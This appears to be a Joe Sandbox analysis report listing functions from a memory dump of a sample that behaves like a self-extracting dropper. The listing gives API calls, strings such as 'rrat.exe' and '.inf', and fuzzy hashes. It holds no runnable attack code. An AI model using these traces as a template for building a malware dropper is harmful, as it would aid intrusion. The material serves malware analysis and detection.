Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 557298264-801612888
Opcode ID: 059e6147efbbf125e4eb6b7bd8385935f17d19f9effc735caae15f96c34e001b
Instruction ID: 8510f2b61ad9705e28c56010fe44f7e5229565b9f934c776aef5f00fb30b024c
Opcode Fuzzy Hash: 059e6147efbbf125e4eb6b7bd8385935f17d19f9effc735caae15f96c34e001b
Instruction Fuzzy Hash: 0032D0B190021AABDF29FF64C841AEE77A5FF05704F40612AF90DB72D1EB719984CB90

Function 00E92512 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E905A8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E905B9
Part of subcall function 00E905A8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E905CA
Part of subcall function 00E905A8: IsDialogMessageW.USER32(00020482,?), ref: 00E905DE
Part of subcall function 00E905A8: TranslateMessage.USER32(?), ref: 00E905EC
Part of subcall function 00E905A8: DispatchMessageW.USER32(?), ref: 00E905F6

GetDlgItem.USER32(00000068,00EE6300), ref: 00E92526
ShowWindow.USER32(00000000,00000005,?,?,?,00E90065,00000001,?,?,00E907F9,00EA9D3C,00EE6300,00EE6300,00001000,00000000,00000000), ref: 00E9254E
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00E92559
SendMessageW.USER32(00000000,000000C2,00000000,00EA8574), ref: 00E92567
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00E9257D
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00E92597
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00E925DB
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00E925E9
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00E925F8
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00E9261F
SendMessageW.USER32(00000000,000000C2,00000000,00EA8ECC), ref: 00E9262E

Strings

\, xrefs: 00E92587

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 0bd0d118bfe6500bd62e169f040bdc2a38e58acc9e5b61517f8b436e01d60637
Instruction ID: 6b6a2401fb982bab0a76f21265838baa29c88567f52ea5fc85ba3a6b80fc4607
Opcode Fuzzy Hash: 0bd0d118bfe6500bd62e169f040bdc2a38e58acc9e5b61517f8b436e01d60637
Instruction Fuzzy Hash: AA31C1B1145384BFE3019F21DC89FAB3EFCFB46714F000918F655BA292C7655A09CBA6

Function 00E8F8E2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00E9077D,00000066), ref: 00E8F8F5
SizeofResource.KERNEL32(00000000,?,?,?,00E9077D,00000066), ref: 00E8F90C
LoadResource.KERNEL32(00000000,?,?,?,00E9077D,00000066), ref: 00E8F923
LockResource.KERNEL32(00000000,?,?,?,00E9077D,00000066), ref: 00E8F932
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00E9077D,00000066), ref: 00E8F94D
GlobalLock.KERNEL32(00000000), ref: 00E8F95E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00E8F982
GlobalUnlock.KERNEL32(00000000), ref: 00E8F9E6

Part of subcall function 00E8F846: GdipAlloc.GDIPLUS(00000010), ref: 00E8F84C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00E8F9C7
GlobalFree.KERNEL32(00000000), ref: 00E8F9ED

Strings

PNG, xrefs: 00E8F8E6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 8f79c6186ad7d96c9810180e2f998a296d908f114ef09b7aa9ac706eff478ada
Instruction ID: 65d9f6ba69115b6a4165f602caec7c1edc807e2f12301b2ccdb1680298716be0
Opcode Fuzzy Hash: 8f79c6186ad7d96c9810180e2f998a296d908f114ef09b7aa9ac706eff478ada
Instruction Fuzzy Hash: B3317272500702AFD711AF62EC98E1B7BA8FF897547115929F80DB2260EF31EC08CB60

Function 00E927CF Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 184
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00E927EE
ShellExecuteExW.SHELL32(?), ref: 00E9291E
IsWindowVisible.USER32(?), ref: 00E92951
ShowWindow.USER32(?,00000000), ref: 00E9295D
WaitForInputIdle.USER32(?,000007D0), ref: 00E9296E
GetExitCodeProcess.KERNEL32(?,?), ref: 00E92999
CloseHandle.KERNEL32(?), ref: 00E929BF
ShowWindow.USER32(?,00000001), ref: 00E92A21

Strings

.exe, xrefs: 00E929C9
.inf, xrefs: 00E928DA

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_wcslen
String ID: .exe$.inf
API String ID: 3646668279-3750412487
Opcode ID: e02c40d4cf9ea6fcfb1898fe9660f4462265e2a228440552c6f57b6016bfae75
Instruction ID: f007f43d0c8d51266418bf950263c3acc3ec94309a3dd5709fa3d9c05c1c778b
Opcode Fuzzy Hash: e02c40d4cf9ea6fcfb1898fe9660f4462265e2a228440552c6f57b6016bfae75
Instruction Fuzzy Hash: CF51F731504380BEDF319B21D844AAB77E5AF85748F04281DFAC5B7291D7B1CD49C751

Function 00E892F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E893AA

Part of subcall function 00E8A1AA: __EH_prolog.LIBCMT ref: 00E8A1AF

Strings

D+, xrefs: 00E8948A
, xrefs: 00E896F6, 00E89705, 00E896FA
D+, xrefs: 00E89356
D+, xrefs: 00E89626
rrat.exe, xrefs: 00E89325, 00E89341, 00E89350, 00E89374, 00E89484, 00E894A6, 00E89600, 00E8974B, 00E897C0

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: H_prologUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: $D+$D+$D+$rrat.exe
API String ID: 3007126557-1803408328
Opcode ID: 84fe61d25fb926176d614234df04980c23e5cbcae63f63e74c0cdb6de3dcd8b6
Instruction ID: 320c21e7d813638630d68e71be27cc52df95f3652c94209edd42bc46525eaef5
Opcode Fuzzy Hash: 84fe61d25fb926176d614234df04980c23e5cbcae63f63e74c0cdb6de3dcd8b6
Instruction Fuzzy Hash: 60D1A37090D340CFD725BF26AC85A7A3BA1E74531CF18213AE85DB72A3E772584ACB51

Function 00E91EC5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00E91EDB

Part of subcall function 00E8316F: _wcslen.LIBCMT ref: 00E83175

_swprintf.LIBCMT ref: 00E91F0F

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

SetDlgItemTextW.USER32(?,00000066,00ECFA3A), ref: 00E91F2F
_wcschr.LIBVCRUNTIME ref: 00E91F60
EndDialog.USER32(?,00000001), ref: 00E9203C

Strings

%s%s%u, xrefs: 00E91F04

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr_wcslen
String ID: %s%s%u
API String ID: 689974011-1360425832
Opcode ID: 33263517fb3b739883f57be8f76d76a0a7666035e47494d5f170e8bd2fb7f866
Instruction ID: 9fe2d5c458dc902ba441550133ce6bfd0b7233d54e3dcabe222c09c409ff2145
Opcode Fuzzy Hash: 33263517fb3b739883f57be8f76d76a0a7666035e47494d5f170e8bd2fb7f866
Instruction Fuzzy Hash: FE416D71900259AEDF25ABA1CC85EEA77ECEB04704F4090A6FA0DB7151EF708A49CF61

Function 00E9F2E4 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00E9A093,00E9A093,?,?,?,00E9F535,00000001,00000001,6AE85006), ref: 00E9F33E
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00E9F535,00000001,00000001,6AE85006,?,?,?), ref: 00E9F3C4
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,6AE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00E9F4BE
__freea.LIBCMT ref: 00E9F4CB

Part of subcall function 00E9DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00E98B1E,?,0000015D,?,?,?,?,00E99FFA,000000FF,00000000,?,?), ref: 00E9DAC2

__freea.LIBCMT ref: 00E9F4D4
__freea.LIBCMT ref: 00E9F4F9

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 91fa05e150d9c307a439854c656c2672c2c32d377ded871299a09b117920b84d
Instruction ID: e0cd49a6d4aa761e9e4e31942e24e69db59b18557f70218ee1063fd8dd87b010
Opcode Fuzzy Hash: 91fa05e150d9c307a439854c656c2672c2c32d377ded871299a09b117920b84d
Instruction Fuzzy Hash: 5951B072610216AFEF259E64CC81EBB77A9EB84754F155639FD18F6180EB34EC40C7A0

Function 00E871E8 Relevance: 9.1, APIs: 6, Instructions: 98
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00E87240

Part of subcall function 00E82C72: GetVersionExW.KERNEL32(?), ref: 00E82C97

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00E87264
FileTimeToSystemTime.KERNEL32(?,?), ref: 00E8727E
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00E87291
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E872A1
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E872B1

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: f032cacbf7d4c9ee716864ceb9f9d77a1a9a72df38bb8c58347f396873fc831c
Instruction ID: 1070dc25c0b6d38feb89add4a541c8c9e6ca8d91570b7bd82e110b57fccc39c2
Opcode Fuzzy Hash: f032cacbf7d4c9ee716864ceb9f9d77a1a9a72df38bb8c58347f396873fc831c
Instruction Fuzzy Hash: 1B31F676108345AFC700DFA9C98499BB7E8FF88754F045A1EF999D3210E730E549CBA6

Function 00E92C53 Relevance: 9.0, APIs: 6, Instructions: 42
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00E92C5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E92C79
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E92C8A
TranslateMessage.USER32(?), ref: 00E92C94
DispatchMessageW.USER32(?), ref: 00E92C9E
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00E92CA9

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: dd5965cca7aa5e0baf2e55c5c892e1494b6993194637946d589f11903ebabe1a
Instruction ID: d185a83d082ac0aacd85cfff5a58e416a4fb43b74f4e43c8d854a21273c922a2
Opcode Fuzzy Hash: dd5965cca7aa5e0baf2e55c5c892e1494b6993194637946d589f11903ebabe1a
Instruction Fuzzy Hash: 8DF03C72A01119BBCF206BA2DC8CDDFBFBCEF46355B104011FA06E6051D678D509C7A0

Function 00E8241A Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F5,?,?,00000000,00000000,00E8A066,?,?,?,?,?,00E8A820,00EBD56C,?,00E8B1B3,00010000), ref: 00E8243E
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00E82485
WriteFile.KERNEL32(00000008,?,00E8B1B3,00010000,00000000,02FCED32,?,?,?,00000000,00000000,00E8A066,?,?,?,?), ref: 00E824B1

Strings

D+, xrefs: 00E82538
D+, xrefs: 00E824D5

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: FileWrite$Handle
String ID: D+$D+
API String ID: 4209713984-589233338
Opcode ID: fe752818cbf5c7df9ea9dd4166573da14f536955fc44763952789d1cfec7ca45
Instruction ID: d1b25bcc5195d9cbb55d25addb266c567e654e1d08ea05247ccfc7bdd87754af
Opcode Fuzzy Hash: fe752818cbf5c7df9ea9dd4166573da14f536955fc44763952789d1cfec7ca45
Instruction Fuzzy Hash: 943125715043159FDB14EF20D918BAA77A6FB85718F00551DFA9D772A0CB70AC48CBB2

Function 00E984F7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00E985BA,?,?,00EE86C8,00000000,?,00E986E5,00000004,InitializeCriticalSectionEx,00EAB054,InitializeCriticalSectionEx,00000000), ref: 00E98588

Strings

api-ms-, xrefs: 00E98548

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: e9d890422229fb6a402450f65ca64b5b0ad2c42b0bbe22a95032db99923ca5fc
Instruction ID: f8a8461a4128585fe0c1deb7138308fd89d9f94ab64afd8293d011fabe451e80
Opcode Fuzzy Hash: e9d890422229fb6a402450f65ca64b5b0ad2c42b0bbe22a95032db99923ca5fc
Instruction Fuzzy Hash: 0611E771E416259FDF228B689E40B9933A4BF17764F161120F845F72E0DF70ED0886D1

Function 00E8FDCB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00E8FDE2
SHAutoComplete.SHLWAPI(?,00000010), ref: 00E8FE19

Part of subcall function 00E87D24: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00E82FEC,?,?,?,00E82F99,?,-00000002,?,00000000,?), ref: 00E87D3A

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00E8FE09

Strings

@Ut, xrefs: 00E8FE19
EDIT, xrefs: 00E8FDED, 00E8FDF8, 00E8FE05

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @Ut$EDIT
API String ID: 4243998846-2065656831
Opcode ID: 8e0edc8fcd91e0f19f10833bf1ec6bccff2724ede9ea9fba7313fb2f1f25ff40
Instruction ID: 4aae8f4df094ad247db15900da324c66b2813da524af61c565c6db97ea31fb00
Opcode Fuzzy Hash: 8e0edc8fcd91e0f19f10833bf1ec6bccff2724ede9ea9fba7313fb2f1f25ff40
Instruction Fuzzy Hash: 40F0E2326002286ADB206622AC49FDF72AC9F86B10F440064BA08BA183D364E94286B6

Function 00E8FE36 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E86B47: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E86B62
Part of subcall function 00E86B47: LoadLibraryW.KERNEL32(?,?,00E8583E,Crypt32.dll,00000000,00E858C2,?,?,00E858A4,?,?,?,?), ref: 00E86B84

OleInitialize.OLE32(00000000), ref: 00E8FE4F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00E8FE86
SHGetMalloc.SHELL32(00ECEA00), ref: 00E8FE90

Strings

3Qo, xrefs: 00E8FE67
riched20.dll, xrefs: 00E8FE3E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Qo
API String ID: 3498096277-4232643773
Opcode ID: 54f8f10410f27ef4d6a7a533c966e55db7b5a7bfb87ad21c0be0d26919c23970
Instruction ID: 0f76d4433dd395b2f1ec341067186bc717a47f864d8f31a28222c167a2ded03b
Opcode Fuzzy Hash: 54f8f10410f27ef4d6a7a533c966e55db7b5a7bfb87ad21c0be0d26919c23970
Instruction Fuzzy Hash: 4BF0FFB1900249AFCB10AF96D8899EFFBFCEF84705F40405AE855F2251D7B456498BA1

Function 00E8582B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00E86B47: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E86B62
Part of subcall function 00E86B47: LoadLibraryW.KERNEL32(?,?,00E8583E,Crypt32.dll,00000000,00E858C2,?,?,00E858A4,?,?,?,?), ref: 00E86B84

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00E8584A
GetProcAddress.KERNEL32(00EBCFE8,CryptUnprotectMemory), ref: 00E8585A

Strings

CryptUnprotectMemory, xrefs: 00E85850
CryptProtectMemory, xrefs: 00E85844
Crypt32.dll, xrefs: 00E85834

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 218c6dde4eee8b350af690151fbe262aa130e0e3f07f21c740b3590ef306a2ad
Instruction ID: 773f8199e0354358ca64022913bd2b8a8ee0ad5f6feeb6d83889094ba762d810
Opcode Fuzzy Hash: 218c6dde4eee8b350af690151fbe262aa130e0e3f07f21c740b3590ef306a2ad
Instruction Fuzzy Hash: D9E0DF70800F019ED7202B35BA48B027AD06F1A704F14982FF1C9F7240DEB0E0448B00

Function 00E81E20 Relevance: 7.6, APIs: 5, Instructions: 111filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00000000,00000003,08000000,00000000), ref: 00E81E9F
GetLastError.KERNEL32 ref: 00E81EAC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800), ref: 00E81EE2
GetLastError.KERNEL32 ref: 00E81EEA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000), ref: 00E81F39

